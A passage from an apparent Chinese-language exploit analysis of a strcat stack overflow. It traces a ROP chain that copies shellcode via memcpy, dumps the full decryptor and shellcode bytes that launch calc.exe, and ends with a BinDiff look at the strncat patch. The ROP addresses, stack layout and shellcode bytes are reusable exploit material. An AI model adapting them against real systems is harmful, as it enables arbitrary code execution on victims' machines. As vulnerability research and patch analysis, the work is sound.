4A8063A6    C3              retn            ; esp = 0C0C0CFC, eip = 4A842DB2
4A842DB2    97              xchg eax,edi
4A842DB3    C3              retn            ; esp = 0C0C0D00, eip = 4A802AB1
4A802AB1    5B              pop ebx         ; esp = 0C0C0D04, ebx = 00000020
4A802AB2    C3              retn            ; esp = 0C0C0D08, eip = 4A80A8A6
4A80A8A6    213C5C          and dword ptr ss:[esp+ebx*2],edi
...
4A80A8C8    32C0            xor al,al
4A80A8CA    C3              retn            ; esp = 0C0C0D0C, eip = 4A8063A5
4A8063A5    59              pop ecx         ; esp = 0C0C0D10, ecx = 4A801064
4A8063A6    C3              retn            ; esp = 0C0C0D14, eip = 4A80AEDC
4A80AEDC    8D5424 0C       lea edx,dword ptr ss:[esp+0xC]  ; edx = 0C0C0D20
4A80AEE0    52              push edx
4A80AEE1    50              push eax
4A80AEE2    FF7424 0C       push dword ptr ss:[esp+0xC]
4A80AEE6    FF35 3C098A4A   push dword ptr ds:[0x4A8A093C]
4A80AEEC    FFD1            call ecx        ; esp = 0C0C0D00, eip = 4A801064
4A80AEEE    83C4 10         add esp,0x10
4A80AEF1    C3              retn
4A801064    C3              retn            ; esp = 0C0C0D04, eip = 4A80AEEE
4A80AEEE    83C4 10         add esp,0x10
4A80AEF1    C3              retn            ; esp = 0C0C0D18, eip = 4A801F90
4A801F90    58              pop eax         ; eax = 00000034
4A801F91    C3              retn            ; esp = 0C0C0D20, eip = 4A80D585
4A80D585    03C2            add eax,edx     ; eax = 0C0C0D54
4A80D587    C3              retn            ; esp = 0C0C0D24, eip = 4A8063A5
4A8063A5    59              pop ecx         ; ecx = 4A801064
4A8063A6    C3              retn            ; esp = 0C0C0D2C, eip = 4A842DB2
4A842DB2    97              xchg eax,edi
4A842DB3    C3              retn            ; esp = 0C0C0D30, eip = 4A802AB1
4A802AB1    5B              pop ebx         ; ebx = 0000000A
4A802AB2    C3              retn            ; esp = 0C0C0D38, eip = 4A80A8A6
4A80A8A6    213C5C          and dword ptr ss:[esp+ebx*2],edi
...
4A80A8C8    32C0            xor al,al
4A80A8CA    C3              retn            ; esp = 0C0C0D3C, eip = 4A801F90
4A801F90    58              pop eax         ; eax = 4A849170 <&MSVCR80.memcpy>
4A801F91    C3              retn            ; esp = 0C0C0D44, eip = 4A80B692
4A80B692  - FF20            jmp dword ptr ds:[eax]                   ; msvcr80.memcpy

调用函数 memcpy,各参数如下所示:

0C0C0D44   03E90000  /CALL 到 memcpy
0C0C0D48   03E90000  |dest = 03E90000
0C0C0D4C   0C0C0D54  |src = 0C0C0D54
0C0C0D50   00001000  \n = 1000 (4096.)

然后这段复制过去的 shellcode 会被解密,并跳到 03E900A3 执行:

03E9000E    B1 31           mov cl,0x31
03E90010    315A 18         xor dword ptr ds:[edx+0x18],ebx
03E90013    035A 18         add ebx,dword ptr ds:[edx+0x18]
03E90016    83C2 04         add edx,0x4
03E90019  ^ E2 F5           loopd short 03E90010
03E9001B    FC              cld
03E9001C    E8 82000000     call 03E900A3
d 03E90000:

03E90000  DB C1 D9 74 24 F4 BB 81 F4 49 9E 5A 29 C9 B1 31  哿賢$艋侓I瀂)杀1
03E90010  31 5A 18 03 5A 18 83 C2 04 E2 F5 FC E8 82 00 00  1ZZ兟怩?.
03E90020  00 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14  .`夊1纃婸0婻.婻
03E90030  8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C 02 2C 20  媟(稪&1?a|,
03E90040  C1 CF 0D 01 C7 E2 F2 52 57 8B 52 10 8B 4A 3C 8B  料.氢騌W婻婮<
03E90050  4C 11 78 E3 48 01 D1 51 8B 59 20 01 D3 8B 49 18  Lx鉎裃媃 計I
03E90060  E3 3A 49 8B 34 8B 01 D6 31 FF AC C1 CF 0D 01 C7  ?I????
03E90070  38 E0 75 F6 03 7D F8 3B 7D 24 75 E4 58 8B 58 24  8鄒?}?}$u鋁媂$
03E90080  01 D3 66 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0  觙?K媂計?
03E90090  89 44 24 24 5B 5B 61 59 5A 51 FF E0 5F 5F 5A 8B  塂$$[[aYZQ郷_Z
03E900A0  12 EB 8D 5D 6A 01 8D 85 B2 00 00 00 50 68 31 8B  雿]j崊?..Ph1
03E900B0  6F 87 FF D5 BB F0 B5 A2 56 68 A6 95 BD 9D FF D5  o?栈鸬h綕
03E900C0  3C 06 7C 0A 80 FB E0 75 05 BB 47 13 72 6F 6A 00  <|.€u籊roj.
03E900D0  53 FF D5 63 61 6C 63 2E 65 78 65 00 0C 0C 0C 0C  S誧alc.exe.....
03E900E0  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................

最后弹出计算器:

03E900A3    5D              pop ebp         ; ebp = 03E90021
03E900A4    6A 01           push 0x1
03E900A6    8D85 B2000000   lea eax,dword ptr ss:[ebp+0xB2] ; eax = 03E900D3 "calc.exe"
03E900AC    50              push eax
03E900AD    68 318B6F87     push 0x876F8B31
03E900B2    FFD5            call ebp

补丁

利用 BinDiff 插件进行二进制比对,可以看到在修复漏洞时使用函数 sub_813391E 替换了 strcat

0.92 0.97 GI-JE-C 0803DD33 sub_803DD33 0803DCF9 sub_803DCF9   call reference matching    50    52    51    220    254    247    72    84    83

跟进函数 sub_813391E

.text:0813391E ; int __cdecl sub_813391E(char *Str, char *Source, int)
.text:0813391E sub_813391E     proc near               ; CODE XREF: sub_803C375+244↑p
.text:0813391E                                         ; sub_803C375+2BB↑p ...
.text:0813391E
.text:0813391E Str             = dword ptr  4
.text:0813391E Source          = dword ptr  8
.text:0813391E arg_8           = dword ptr  0Ch
.text:0813391E
.text:0813391E                 push    esi
.text:0813391F                 mov     esi, [esp+4+Str]
.text:08133923                 push    esi             ; Str
.text:08133924                 call    strlen           ; 获得 uniqueName 的长度,返回值在 eax 中
.text:08133929                 pop     ecx
.text:0813392A                 mov     ecx, [esp+4+arg_8]   ; ecx 的值是 0x104
.text:0813392E                 cmp     ecx, eax             ; 判断是否大于 0x104 个字节
.text:08133930                 ja      short loc_8133936    ; 跳转
.text:08133932                 mov     eax, esi
.text:08133934                 pop     esi
.text:08133935                 retn
.text:08133936 ; ---------------------------------------------------------------------------
.text:08133936
.text:08133936 loc_8133936:                            ; CODE XREF: sub_813391E+12↑j
.text:08133936                 sub     ecx, eax
.text:08133938                 dec     ecx
.text:08133939                 push    ecx             ; Count ; ecx = ecx - eax - 1
.text:0813393A                 push    [esp+8+Source]  ; Source
.text:0813393E                 add     eax, esi             ; 动态调整栈空间
.text:08133940                 push    eax             ; Dest
.text:08133941                 call    ds:strncat           ; strncat 复制字符串
.text:08133947                 add     esp, 0Ch
.text:0813394A                 pop     esi
.text:0813394B                 retn
.text:0813394B sub_813391E     endp

使用更安全的 strncat 替代 strcat,限制字符串长度为 0x104 字节,并且根据字符串长度动态地调整栈空间。

参考资料